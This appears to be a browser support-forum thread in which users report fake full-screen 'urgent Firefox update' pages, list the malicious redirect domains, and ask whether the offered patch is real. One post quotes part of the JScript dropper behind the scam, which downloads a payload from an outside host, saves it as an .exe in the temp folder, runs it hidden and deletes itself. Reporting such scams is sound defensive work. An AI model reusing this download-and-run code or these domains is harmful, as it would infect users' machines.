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I keep getting a tab popping up unbidden identifying an urgent update from a website that I have not visited: https://fuajamagora.net/7431280609033/701d1159b9eac26c0bdab43587e9b609.html. It's obviously bogus.

My question is, does anyone know how to get rid of it?

Note: Upload image is not working today.

I have periodically gotten a full screen page with the Firefox logo indicating that I need to download/install an urgent update. Today it appeared on cnn.com while I was reading the page and before I clicked anything. I closed the page with the red "X" without incident and ran a Malwarebytes scan immediately afterward without result. Is this a problem Firefox has been subjected to?

This link keeps popping up for the past several days and I just want to advise Firefox about it. Looks very legit and people may be clicking on it as it looks so realistic until you look at the the ailoo...etc.

https://ailooperfectgaytube.net/6941813823419/2c87ce7d03aca828bb2648722740800e.html

When I play games on Firefox it keeps kicking me out saying that I have to update my Firefox. I clicked on save file and it came up as a trojan. I noticed the location coming from Japan. When I put in the website in the browser it said I had the latest version and was up to date.

I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: https://queidwhoreslag.net/9751229892037/e9e0075191d8aac19e485315d1b67c26.html. So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code:

url='https://queidwhoreslag.net/10/524.dat';

fname=b.GetSpecialFolder(2)+'\\1e90999f64aa011197bfdf7c1792c61b.exe';
for(var i=1;i<=5;i++)
{

try { c.open('GET', url, false); c.send(null); break; }

    catch(e){

WScript.Sleep(5000); }

}
d.Open;
d.Type = 1;
d.Write(c.ResponseBody);
d.Position=0;
if (b.Fileexists(fname))b.DeleteFile(fname);
d.SaveToFile(fname);
a.run('cmd.exe /c "'+fname+'"',0,false);
var p = WScript.ScriptFullName;
if (b.FileExists(p))b.DeleteFile(p);
WScript.Echo('Update complete.'); 
} catch (e) {}

Strongly desired is a 'verification' of programs loaded vs mozilla copy. This to suppliment 'you are on the latest release.' Reasoning is lately when a web page is replaced by 'update firefox' orange screen and a pop-up of 'opening firefox-patch.exe' which wants to save a binary file. But it is not a FF patch. The result could be malware. Months ago I fell for this ploy, or a similar FLASH update and endured problems (ie, svchost.exe running taking 50% of my CPU all the time.)

Might be caused by a rotating 'ad' related, or that FLASH is blocked, or maybe html5 is running. Unknown. I have other notes. PS windows security essentials finds a trojan KIVTER in my temp file soon thereafter. I don't know where it is stored after that.

This link, https://eepahuntweeps.net/5201153224592/06ab9f583b7cf9a531b78e32f798a93c.html popped up asking to update my fire fox, I was viewing http://www.channel3000.com/news when it popped up.

A big orange page with the Firefox logo interrupts whatever I may be doing to notify me of some urgent update. It is EXTREMELY annoying and may cause problems with the page I'm using. Can the notice please be sent to a new tab instead, or even an email to me about it?

firefox-patch.exe which is binaryfile (286 KB)

from:https://deequglutenfreeclub.org

would you like to save this file.

save file caccel

SCAM or real,

thought firefox didn't do these, made changes automatically.

Ithink this is a fake/scam

I get this popping up about once a week, it wants to download and install from https://aihahconsumerproductexposed.net/9921667656284/0439518d68a40d5ec04ca4aa159f6785.html It's a big red screen proclaiming itself to be a Firefox emergency fix. I don't trust it, please advise. Thanks.

Recvd notice to download a patch from this website https://gaihicargiant.net/3641250115311/224902e99df5d5c3f3753bb87c293a47.html when I clicked on one of my emails. Is this a valid emergency patch? I have downloaded it, but have not yet executed it. Does this have anything to do with my frequent "Firefox is not responding" message?

Multiple problems. I tried to do a "refresh", I clicked "refresh" in the small box that appeared, Firefox closed, but nothing else happened. There was no screen or box that showed info or where I could click "finish" My problems still exist and I would love to undo the "urgent firefox update" that caused the problems. Thanks for your help.

Can't figure out how to contact Tyler (whose name came up in another thread) about the address of a scam/spam popup, so here it is.

https://aihahconsumerproductexposed.net/7361651835517/8ecdf9bb38d2052408a9f46b32c389a5.html

The entire screen fills with your logo and the statement that it is URGENT to take this down load action but the download is not from you guys it is queidwhoreslag.net - doesn't sound authentic to me. Is this legitimate ? Thank you

Several times this month, i have received this website redirect while browsing: https://ahahxradionacional.org/7841270294902/c4db11274f87c9058bef251f31953527.html I assume it's fraudulent and probably an invite to download malware, disguised as a Firefox update. How can i block such sites?

While on another page, I get a very real looking Firefox page that says, I have chosen to take this update, which I haven't. It always has a link that every time it comes up has a different address in it. And they are always really weird addressed that look very fake. I always close it out and don't even hit the cancel in the link. This has been going on for a few weeks. I do not think this is a legitimate update link form Firefox, especially since it overcomes what ever page I am on. Are you aware of this?